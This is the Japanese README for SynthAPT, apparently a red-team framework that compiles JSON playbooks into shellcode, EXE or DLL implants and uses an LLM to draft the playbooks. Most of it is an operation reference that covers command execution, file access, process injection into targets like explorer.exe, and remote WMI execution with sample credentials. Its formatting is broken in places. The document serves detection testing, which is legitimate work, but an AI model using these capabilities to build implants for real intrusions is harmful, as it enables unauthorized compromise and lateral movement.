プレイブックベースの敵対的シミュレーションフレームワーク。JSONで定義された攻撃パスを位置独立型シェルコードペイロードにコンパイルし、高度な検出機能やAIベースの調査エージェントを検証します。

SynthAPTは、複雑な攻撃経路を再現するためのプレイブックベースの adversary simulation フレームワークです。高度な検知機能やAIベースの調査エージェントを検証するために設計されています。中核となる考え方は、マルウェアの動作をJSONで表現し、それを機能的なマルウェアにコンパイルできることです。これにより、LLMを使用して現実的なシナリオを迅速に開発できます。

コアインプラントは、プレイブックインタプリタによって駆動されるシェルコードペイロードです。プレイブックは攻撃経路全体を事前に定義し、インプラントはそれに従い、プロセスインジェクションや横向き移動などを通じて環境内を移動します。各インプラントは独自の命令セットを持つ独立したスレッドとして起動するため、マルチステージ攻撃(例:初期アクセス → 権限昇格 → 横向き移動 → データ流出)は、連携するインプラントのグラフとして表現され、すべてプレイブック内で事前に定義されます。これには3つの大きな利点があります。

リリースを使用したくない場合は、以下のようにコンパイルできます。
cargo make でビルド:```bash
cargo make build
./target/release/synthapt
これにより、shellcode とエディタがコンパイルされます。
コマンドなしで SynthAPT を実行すると、エディタに移行します。Claude APIキーを提供し、プロンプトを入力するたびに変更を確認できます。```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
別のLLMやサブスクリプションを使用したい場合は、`synthapt export-skill`を実行し、それを任意のコーディング環境で使用できます。
JSONプレイブックが出力されるはずです。それをペイロードにコンパイルするには、compileコマンドを使用してください:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
定数は文字列、hexオブジェクト、base64オブジェクトとして定義できます:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
タスクセットの終了。コンパイラによって自動的に追加されます - 手動で追加する必要はありません。
---
### store_result (0x01)
最後の操作結果を変数に格納します。
| フィールド | タイプ | |
|-------|------|-|
| var | u16 | **必須** |```json
{ "op": "store_result", "var": 0 }
オプションのタスクIDやマジック値をパッチした現在のシェルコードバイトを返します。
| フィールド | 型 | |
|---|---|---|
| task | u8 | オプション |
| magic | u32 hex string or number | オプション |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
### sleep (0x03)
指定されたミリ秒だけスリープします。
| フィールド | 型 | |
|-------|------|-|
| ms | u32 | **必須** |```json
{ "op": "sleep", "ms": 5000 }
cmd.exeを介してコマンドを実行します。
| フィールド | 種類 | |
|---|---|---|
| command | string | 必須 |
| { "op": "run_command", "command": "whoami /all" } |
### get_cwd (0x05)
現在の作業ディレクトリを取得します。引数はありません。```json
{ "op": "get_cwd" }
ファイルを読み込み、その内容を返します。
| フィールド | 型 | |
|---|---|---|
| path | string | 必須 |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
ファイルにバイトを書き込みます。
| Field | Type | |
|-------|------|-|
| path | string | **必須** |
| content | bytes | *オプション*(省略時は空ファイル) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
変数のステータスコードを出力します (0 = 成功、非ゼロ = エラー)。
| フィールド | タイプ | |
|---|---|---|
| var | u16 | 必須 |
| { "op": "check_error", "var": 0 } |
### 条件分岐 (0x09)
変数の状態に基づいて異なるタスクインデックスへ分岐します。
| フィールド | 型 | |
|-------|------|-|
| mode | `"data"` または `"error"` | **必須** |
| var1 | u16 | **必須** |
| var2 | u16 | *オプション* (単一チェックではなく、2つの変数を比較) |
| true | u16 | **必須** (条件が真の場合のタスクインデックス) |
| false | u16 | **必須** (条件が偽の場合のタスクインデックス) |
`true_target` と `false_target` は `true` と `false` の別名として受け入れられます。
単一変数モード:
- `"data"` — var1 が空でないデータを持つ場合に真
- `"error"` — var1 のステータスが 0(成功)の場合に真
2変数モード(var2 が存在する場合):
- `"data"` — var1 のデータが var2 のデータと等しい場合に真
- `"error"` — var1 のエラーコードが var2 のエラーコードと等しい場合に真```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
変数にリテラル値を設定します。
| フィールド | 型 | |
|---|---|---|
| var | u16 | 必須 |
| data | bytes | 省略可(省略時は空) |
リテラル文字列および16進数/Base64値は、読み取り時に通常の操作結果のように見えるように、5バイトの結果プレフィックスとともに保存されます。変数($n)および定数(%n)の参照はそのまま渡されます。```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
変数の内容をstdoutに表示(デバッグ)。`var`を省略すると、最後の操作結果を表示します。
| フィールド | タイプ | |
|-------|------|-|
| var | u16 | *オプション* (省略時は最後の結果を表示) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
現在のタスクセット内のタスクインデックスへの無条件ジャンプ。
| Field | Type | |
|---|---|---|
| target | u16 | 必須 |
| { "op": "goto", "target": 2 } |
---
### migrate (0x0D)
検索文字列またはPIDに一致するプロセスにシェルコードを注入します。
| フィールド | タイプ | |
|-------|------|-|
| task_id | u8 | **必須** |
| search | string または number | *オプション* (空欄=検索なし; 数値=対象PID) |
| magic | u32 hex string または number | *オプション* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
実行中のプロセスを一覧表示します。タブ区切りの行を返します: pid\timage\tcmdline\n。引数はありません。```json
{ "op": "list_procs" }
---
### get_const (0x0F)
定数を最後の結果にロードします。`index` もしくは `const_idx` をフィールド名として受け入れます。
| フィールド | タイプ | |
|-------|------|-|
| index | u16 | **必須** |```json
{ "op": "get_const", "index": 0 }
WMI を介してコマンドを実行します。オプションでリモートホスト上でも可能です。
| Field | Type | |
|---|---|---|
| command | string | 必須 |
| host | string | オプション (空の場合はローカルホスト) |
| user | string | オプション (空の場合は現在のユーザー) |
| pass | string | オプション (空の場合は現在の資格情報) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
HTTP/Sリクエストを送信します。